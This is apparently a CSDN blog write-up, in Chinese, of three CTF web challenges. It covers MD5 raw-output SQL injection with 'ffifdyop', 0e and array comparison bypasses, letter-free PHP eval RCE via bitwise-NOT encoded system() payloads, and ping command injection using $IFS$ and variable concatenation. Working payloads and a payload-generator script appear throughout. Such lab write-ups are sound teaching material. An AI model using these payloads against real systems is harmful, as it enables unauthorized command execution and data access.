【无标题】

文章讲述了在BJDCTF2020和SWPUCTF2021的CTF挑战中,涉及MD5函数的利用、SQL注入、字符串弱比较(0e绕过)、数组比较以及RCE(RemoteCodeExecution)的取反绕过的解题过程。参与者需要理解并利用这些技术技巧来获取旗标。
摘要由CSDN通过智能技术生成

1.[BJDCTF 2020]easy_md5

打开后是一个提交查询的页面。猜测SQL注入,输入1,1’,1‘’,1‘ or 1=1#都是没有回显。抓包看一下。

 可以看到SQL语句:select * from 'admin' where password=md5($pass,true)

去搜一下md5($pass,true)是什么东西,

md5这个函数,语法:md5(string,raw),

参数描述
string必需。要计算的字符串。
raw

可选。

  • 默认不写为FALSE。32位16进制的字符串
  • TRUE。16位原始二进制格式的字符串

 详细解释看:https://blog.csdn.net/March97/article/details/81222922

当我们传入的pass=ffifdyop时,MD5值为'or'6É]é!r,ùíb

 他的单引号会和前面的SQL语句闭合,同时会把这个MD5函数绕过,所以可以构造payloud:

 ?password=ffifdyop,就会转到如下页面,查看源代码可以看到代码。

 

 这里涉及到MD5的!=和==两个弱比较,字符串的弱比较只能采用0e绕过,需要注意的是,0e后面不能有字母的存在,我们只需要让MD5的值开头是0e且后面不为字母就可以,去搜索

所有构造payloud:?a=s878926199a&b=s155964671a

得到一串代码,涉及到!==和===的强比较,用到数组绕过,

md5不能加密数组 ,如 a[]=1 , b[]=1 , 传入数组会报错,但会继续执行并且返回结果为null

比如传入md5(a[]=1)==md5(b[]=2),实际上是null==null,所以数组进行md5弱比较时,结果相等

 所以构造POST传参:param1[]=1&param2[]=2,得到flag。

 该题涉及到MD5函数的绕过,字符串的弱比较0e绕过,强比较的数组绕过。

2.[SWPUCTF 2021 新生赛]hardrce

打开是代码,进行代码审计:

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

传参wllm,有一个黑名单,正则匹配不能够有字母,无字母的rce,用取反绕过,黑名单里没有~(取反符号)和()。构造?wllm=system('ls /');

system 和ls /分别进行取反。//单引号不用管

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>

输出:

%8C%86%8C%8B%9A%92
%93%8C%DF%D0

所以构造:?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);注意要加;

同样的把cat /flllllaaaaaaggggggg取反:

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

输出:

%8C%86%8C%8B%9A%92
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98

同理构造payloud:?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

得到flag:

 本题涉及到rce无字母取反绕过

取反绕过

   

//取反传参
    <?php
     
    $a = "system";
    $b = "cat /flag";
     
    $c = urlencode(~$a);
    $d = urlencode(~$b);
     
    //输出得到取反传参内容
    echo "?cmd=(~".$c.")(~".$d.");"
    ?>

3.[GXYCTF 2019]Ping Ping Ping

一个ping页面,ping一下127.0.0.1

在后面加入ls,如:127.0.0.1;ls打开所有目录:

 有flag.php和index.php,用cat命令打开flag.php;

构造:127.0.0.1;cat flag.php,报错,不能有空格。

 空格可以用$IFS$来代替,构造:127.0.0.1;cat$IFS$flag.php,报错,过滤了flag

 用拼接法绕过,构造127.0.0.1;b=ag;a=fl;cat$IFS$$a$b.php,ping成功,查看源代码就可以看到flag,这里b要在a前面,因为a在前面报错了,可能进行了字符串匹配。

 该题涉及到空格的绕过,flag的拼接绕过。

  • 23
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值